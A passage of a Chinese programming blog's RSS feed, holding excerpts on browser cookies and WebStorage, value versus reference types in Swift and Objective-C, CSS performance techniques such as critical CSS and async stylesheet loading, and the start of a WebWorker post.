&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;document.&lt;span style="color:#a6e22e"&gt;cookie&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 修改 Cookie
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 如果键不存在，就新增；否则就修改
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;document.&lt;span style="color:#a6e22e"&gt;cookie&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;已经存储过的键=新值&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 删除 Cookie
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;document.&lt;span style="color:#a6e22e"&gt;cookie&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;要删除的键=任意值;max-age=0&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="webstorage"&gt;WebStorage&lt;/h2&gt;
&lt;p&gt;WebStorage 是 HTML5 新加的，WebStorage（Web 存储） 分为 LocalStorage（本地存储） 和 SessionStorage（会话存储）。&lt;/p&gt;</description></item><item><title>值类型和引用类型的区别</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E5%80%BC%E7%B1%BB%E5%9E%8B%E5%92%8C%E5%BC%95%E7%94%A8%E7%B1%BB%E5%9E%8B%E7%9A%84%E5%8C%BA%E5%88%AB/</link><pubDate>Sun, 10 May 2026 22:25:41 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E5%80%BC%E7%B1%BB%E5%9E%8B%E5%92%8C%E5%BC%95%E7%94%A8%E7%B1%BB%E5%9E%8B%E7%9A%84%E5%8C%BA%E5%88%AB/</guid><description>&lt;h2 id="定义"&gt;定义&lt;/h2&gt;
&lt;h3 id="值类型"&gt;值类型&lt;/h3&gt;
&lt;p&gt;值类型是指变量直接存储自身字段或描述信息的类型。值类型具有值语义，当将一个值类型变量赋值给另一个变量时，语义上会得到一份独立的值；底层是否立即复制完整数据，取决于编译器优化和写时拷贝等实现。&lt;/p&gt;
&lt;h3 id="引用类型"&gt;引用类型&lt;/h3&gt;
&lt;p&gt;引用类型是指变量存储的是指向数据在内存中位置的引用（指针）。当将一个引用类型变量赋值给另一个变量时，两个变量指向同一块内存区域。&lt;/p&gt;
&lt;h2 id="objective-c中的类型分类"&gt;Objective-C中的类型分类&lt;/h2&gt;
&lt;p&gt;在Objective-C中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;值类型&lt;/strong&gt;：基础数据类型（int、float、double、BOOL、char等）、结构体（struct）、枚举（enum）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;引用类型&lt;/strong&gt;：除基础数据类型之外的大部分类型，包括NSObject及其子类（NSString、NSArray、NSDictionary、自定义类等）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="swift中的类型分类"&gt;Swift中的类型分类&lt;/h2&gt;
&lt;p&gt;Swift对类型的分类更加清晰：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;值类型&lt;/strong&gt;：基础数据类型（Int、Float、Double、Bool等）、字符串（String）、结构体（Struct）、枚举（Enum）、数组（Array）、字典（Dictionary）、集合（Set）等&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;引用类型&lt;/strong&gt;：类（Class）、闭包（Closure）、Actor等&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="拷贝机制差异"&gt;拷贝机制差异&lt;/h2&gt;
&lt;h3 id="值类型---值语义拷贝"&gt;值类型 - 值语义拷贝&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;每个值类型变量都有自己的字段存储&lt;/li&gt;
&lt;li&gt;对一个变量的操作不会影响另一个变量&lt;/li&gt;
&lt;li&gt;赋值语义上会得到独立副本；如果字段是引用类型，复制的是引用本身，底层也可能通过写时拷贝延迟真正的数据复制&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="引用类型---浅拷贝"&gt;引用类型 - 浅拷贝&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;引用类型在内存中有一个指向该位置的引用&lt;/li&gt;
&lt;li&gt;引用类型的变量可以指向相同类型的数据&lt;/li&gt;
&lt;li&gt;对一个变量进行的操作会影响另一变量所指向的数据&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="内存分配机制"&gt;内存分配机制&lt;/h2&gt;
&lt;p&gt;需要注意：&lt;strong&gt;值类型/引用类型描述的是语义模型，不等价于栈/堆分配规则&lt;/strong&gt;。Swift编译器会根据生命周期、逃逸分析、优化级别、协议类型包装、集合存储等因素决定具体放在哪里。&lt;/p&gt;
&lt;p&gt;理解Swift对象和字段的内存位置，可以先记住三个规则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;class实例本体&lt;/strong&gt;通常在堆上，通过引用计数管理生命周期&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;struct/enum的字段&lt;/strong&gt;通常内联存储在这个值本身所在的位置&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;class类型的字段&lt;/strong&gt;存储的是对象引用，也就是一个指针，真实class实例仍然在堆上&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="常见存储位置"&gt;常见存储位置&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;局部值类型变量&lt;/strong&gt;：生命周期明确、未逃逸时，通常可以放在当前线程的栈区，甚至被优化到寄存器中&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;class实例&lt;/strong&gt;：实例本体在堆区，局部变量中保存的是指向堆对象的引用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;class里的struct属性&lt;/strong&gt;：struct属性内联存储在class实例这块堆内存中&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;struct里的class属性&lt;/strong&gt;：struct内部只保存class引用，真实class实例仍然在堆上&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;被逃逸闭包捕获的值类型&lt;/strong&gt;可能随闭包上下文一起存储在堆区&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Array、Dictionary、Set、String等写时拷贝值类型&lt;/strong&gt;通常只有一小段描述信息是值本身，真实元素或字符缓冲区可能在堆上&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协议类型（existential container）持有大值类型&lt;/strong&gt;时，如果超过存在容器的内联缓冲区大小，会使用堆分配&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;indirect enum&lt;/strong&gt;的间接关联值会通过堆上的盒子存储，常见于递归枚举&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;全局变量、静态变量&lt;/strong&gt;不属于栈区，也不是普通意义上的堆对象，它们通常位于全局/静态存储区&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;栈区内存分配和销毁通常只需移动栈顶指针，成本较低；堆区更动态，但分配、释放和引用计数维护都有额外成本。&lt;/p&gt;
&lt;h3 id="struct中包含class属性"&gt;struct中包含class属性&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Dog&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; name: String
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(name: String) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;self&lt;/span&gt;.name = name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;struct&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; age: Int
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; dog: Dog
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; p1 = Person(age: &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt;, dog: Dog(name: &lt;span style="color:#e6db74"&gt;&amp;#34;Lucky&amp;#34;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; p2 = p1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;p2.age = &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;p2.dog.name = &lt;span style="color:#e6db74"&gt;&amp;#34;Max&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(p1.age) &lt;span style="color:#75715e"&gt;// 18&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(p1.dog.name) &lt;span style="color:#75715e"&gt;// Max&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;内存关系可以近似理解为：&lt;/p&gt;</description></item><item><title>优化性能</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-026/</link><pubDate>Thu, 10 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-026/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;随着互联网发展至今，对于网站来说，性能显的越来越重要了，CSS作为页面渲染和内容展现的重要环节，影响着用户对整个网站的第一体验。所以，我们需要重视与CSS相关的性能优化。&lt;/p&gt;
&lt;p&gt;项目开发初期我们可能因为各种原因（很大一部分原因是因为项目工期，产品往往把项目上线时间卡的死死的，根本不听你说的什么性能优化），怎么写的舒服就怎么来，对于性能优化我们常常在项目完成时才去考虑，经常被推迟到项目的末期，甚至到暴露出严重的性能问题时才进行性能优化。&lt;/p&gt;
&lt;p&gt;为了更多地避免这一情况，首先要重视起性能优化相关的工作，将其贯穿到整个产品设计与开发中。其次，就是了解性能相关的内容，在项目开发过程中，自然而然地进行性能优化。&lt;/p&gt;
&lt;h2 id="css渲染规则"&gt;css渲染规则&lt;/h2&gt;
&lt;p&gt;想要优化CSS的性能，我们首先需要了解CSS的渲染规则，&lt;strong&gt;CSS选择器是从右向左进行匹配的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;来看个例子🌰：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;nav&lt;/span&gt; &lt;span style="color:#f92672"&gt;h3&lt;/span&gt; &lt;span style="color:#f92672"&gt;a&lt;/span&gt;{&lt;span style="color:#66d9ef"&gt;font-size&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;14&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;渲染过程大概是：首先找到所有的&lt;code&gt;a&lt;/code&gt;，沿着&lt;code&gt;a&lt;/code&gt;的父元素查找&lt;code&gt;h3&lt;/code&gt;，然后再沿着&lt;code&gt;h3&lt;/code&gt;，查找&lt;code&gt;.nav&lt;/code&gt;。中途找到了符合匹配规则的节点就加入结果集。如果找到根元素&lt;code&gt;html&lt;/code&gt;都没有匹配，则不再遍历这条路径，从下一个&lt;code&gt;a&lt;/code&gt;开始重复这个查找匹配（只要页面上有多个最右节点为&lt;code&gt;a&lt;/code&gt;）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tips：为什么CSS选择器是从右向左匹配的？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;CSS中更多的选择器是不会匹配的，所以在考虑性能问题时，需要考虑的是如何在选择器不匹配时提升效率。从右向左匹配就是为了达成这一目的的，通过这一策略能够使得CSS选择器在不匹配的时候效率更高。这样想来，在匹配时多耗费一些性能也能够想的通了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="内联首屏关键csscritical-css"&gt;内联首屏关键CSS（Critical CSS）&lt;/h2&gt;
&lt;p&gt;性能优化中有一个重要的指标——&lt;strong&gt;首次有效绘制&lt;/strong&gt;（First Meaningful Paint，简称FMP）即指页面的首要内容（primary content）出现在屏幕上的时间。这一指标影响用户看到页面前所需等待的时间，而 &lt;strong&gt;内联首屏关键CSS（即Critical CSS，可以称之为首屏关键CSS）&lt;/strong&gt; 能减少这一时间。&lt;/p&gt;
&lt;p&gt;很多人都喜欢通过&lt;code&gt;link&lt;/code&gt;标签引用外部&lt;code&gt;CSS文件&lt;/code&gt;。但需要知道的是，&lt;strong&gt;将CSS直接内联到HTML文档中能使CSS更快速地下载&lt;/strong&gt;。而使用外部CSS文件时，需要在HTML文档下载完成后才知道所要引用的CSS文件，然后才下载它们。所以说，&lt;strong&gt;内联CSS能够使浏览器开始页面渲染的时间提前&lt;/strong&gt;，因为在HTML下载完成之后就能渲染了。&lt;/p&gt;
&lt;p&gt;但是我们不应该将所有的CSS都内联在HTML文档中，因为[初始拥塞窗口]存在限制&lt;code&gt;（TCP相关概念，通常是 14.6kB，压缩后大小）&lt;/code&gt;，如果内联CSS后的文件超出了这一限制，系统就需要在服务器和浏览器之间进行更多次的往返，这样并不能提前页面渲染时间。因此，我们应当&lt;strong&gt;只将渲染首屏内容所需的关键CSS内联到HTML中&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;⚠️还有一点需要注意的是内联CSS没有缓存，每次都会随HTML的加载而重新下载，但我们将内联首屏关键CSS控制在 &lt;code&gt;14.6kB&lt;/code&gt;以内，它对性能优化还是起到正向作用的。（凡事有利也有弊）&lt;/p&gt;
&lt;h2 id="异步加载非首屏css"&gt;异步加载非首屏CSS&lt;/h2&gt;
&lt;p&gt;我们需要知道两点内容：（具体可以看我之前的文章：&lt;a href="https://juejin.cn/post/7026536651899797541#heading-14"&gt;这些浏览器面试题，看看你能回答几个？&lt;/a&gt;）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CSS&lt;/code&gt;不会阻塞&lt;code&gt;DOM&lt;/code&gt;的解析，但会阻塞&lt;code&gt;DOM&lt;/code&gt;的渲染&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CSS&lt;/code&gt;会阻塞&lt;code&gt;JS&lt;/code&gt;执行，但不会阻塞&lt;code&gt;JS&lt;/code&gt;文件的下载&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由于CSS会阻塞DOM的渲染，所以我们将首屏关键CSS内联后，剩余的非首屏CSS内容可以使用外部CSS，并且异步加载，防止非首屏CSS内容阻塞页面的渲染。&lt;/p&gt;
&lt;h3 id="css异步加载方式"&gt;CSS异步加载方式&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;第一种方法是动态创建&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 创建link标签
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;myCSS&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;createElement&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#34;link&amp;#34;&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;myCSS&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;rel&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;stylesheet&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;myCSS&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;href&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;mystyles.css&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 插入到header的最后位置
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;document.&lt;span style="color:#a6e22e"&gt;head&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;insertBefore&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;myCSS&lt;/span&gt;, document.&lt;span style="color:#a6e22e"&gt;head&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;childNodes&lt;/span&gt;[ document.&lt;span style="color:#a6e22e"&gt;head&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;childNodes&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; ].&lt;span style="color:#a6e22e"&gt;nextSibling&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;第二种方法是将link元素的&lt;code&gt;media&lt;/code&gt;属性设置为用户浏览器不匹配的媒体类型（或媒体查询）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对浏览器来说，如果样式表不适用于当前媒体类型，其优先级会被放低，会在不阻塞页面渲染的情况下再进行下载。在首屏文件加载完成之后，将&lt;code&gt;media&lt;/code&gt;的值设为&lt;code&gt;screen&lt;/code&gt;或&lt;code&gt;all&lt;/code&gt;，从而让浏览器开始解析CSS。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;link&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rel&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;stylesheet&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;mystyles.css&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;media&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;noexist&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;onload&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;this.media=&amp;#39;all&amp;#39;&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;第三种方法是通过&lt;code&gt;rel&lt;/code&gt;属性将&lt;code&gt;link&lt;/code&gt;元素标记为&lt;code&gt;alternate&lt;/code&gt;可选样式表&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;link&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rel&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;alternate stylesheet&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;mystyles.css&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;onload&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;this.rel=&amp;#39;stylesheet&amp;#39;&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;第四种方法是使用&lt;code&gt;rel=preload&lt;/code&gt;来异步加载CSS&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;link&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rel&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;preload&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;mystyles.css&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;as&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;style&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;onload&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;this.rel=&amp;#39;stylesheet&amp;#39;&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;注意，&lt;code&gt;as&lt;/code&gt;是必须的。忽略&lt;code&gt;as&lt;/code&gt;属性，或者错误的&lt;code&gt;as&lt;/code&gt;属性会使&lt;code&gt;preload&lt;/code&gt;等同于&lt;code&gt;XHR&lt;/code&gt;请求，浏览器不知道加载的是什么内容，因此此类资源加载优先级会非常低。&lt;code&gt;as&lt;/code&gt;的可选值可以参考上述标准文档。&lt;/p&gt;
&lt;p&gt;看起来，&lt;code&gt;rel=&amp;quot;preload&amp;quot;&lt;/code&gt;的用法和上面两种没什么区别，都是通过更改某些属性，使得浏览器异步加载CSS文件但不解析，直到加载完成并将修改还原，然后开始解析。&lt;/p&gt;
&lt;p&gt;但是它们之间其实有一个很重要的不同点，那就是&lt;strong&gt;使用preload，比使用不匹配的&lt;code&gt;media&lt;/code&gt;方法能够更早地开始加载CSS&lt;/strong&gt;。所以尽管这一标准的支持度还不完善，仍建议优先使用该方法。&lt;/p&gt;
&lt;h2 id="css文件压缩"&gt;CSS文件压缩&lt;/h2&gt;
&lt;p&gt;这应该是最容易想到的一个方法了，通过压缩CSS文件大小来提高页面加载速度。现在的构建工具，如webpack、gulp/grunt、rollup等也都支持CSS压缩功能。压缩后的文件能够明显减小，可以大大降低了浏览器的加载时间。&lt;/p&gt;
&lt;h2 id="css层级嵌套最好不要超过3层"&gt;CSS层级嵌套最好不要超过3层&lt;/h2&gt;
&lt;p&gt;一般情况下，元素的嵌套层级不能超过3级，过度的嵌套会导致代码变得臃肿，沉余，复杂。导致css文件体积变大，造成性能浪费，影响渲染的速度！而且过于依赖HTML文档结构。这样的css样式，维护起来，极度麻烦，如果以后要修改样式，可能要使用&lt;code&gt;!important&lt;/code&gt;覆盖。尽量&lt;strong&gt;保持简单，不要使用嵌套过多过于复杂的选择器。&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="删除无用css代码"&gt;删除无用CSS代码&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;一般情况下，会存在这两种无用的CSS代码：一种是不同元素或者其他情况下的重复代码，一种是整个页面内没有生效的CSS代码。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对于前者，在编写的代码时候，我们应该尽可能地提取公共类，减少重复。对于后者，在不同开发者进行代码维护的过程中，总会产生不再使用的CSS的代码，当然一个人编写时也有可能出现这一问题。而这些无用的CSS代码不仅会增加浏览器的下载量，还会增加浏览器的解析时间，这对性能来说是很大的消耗。所以我们需要找到并去除这些无用代码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;那么我们如何知道哪些CSS代码是无用代码呢？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;谷歌的Chrome浏览器就有这种开箱即用的功能。只需转到查看&amp;gt;开发人员&amp;gt;开发人员工具，并在最近的版本中打开Sources选项卡，然后打开命令菜单。然后，点击Coverage，在Coverage analysis窗口中高亮显示当前页面上未使用的代码。 &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-026/image-01.webp"&gt;&lt;/p&gt;
&lt;h2 id="慎用通配符"&gt;慎用*通配符&lt;/h2&gt;
&lt;p&gt;我们有时候可能会写下面这种代码来消除一些标签的默认样式或统一浏览器对标签渲染的差异化：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;margin：0；&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;padding：0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这样虽然代码量少，但它的性能可不是最佳的，我们最好还是写对应的标签选择器：&lt;/p&gt;</description></item><item><title>WebWorker</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/webworker/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/webworker/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;先来聊聊单线程的Javascript&lt;/p&gt;
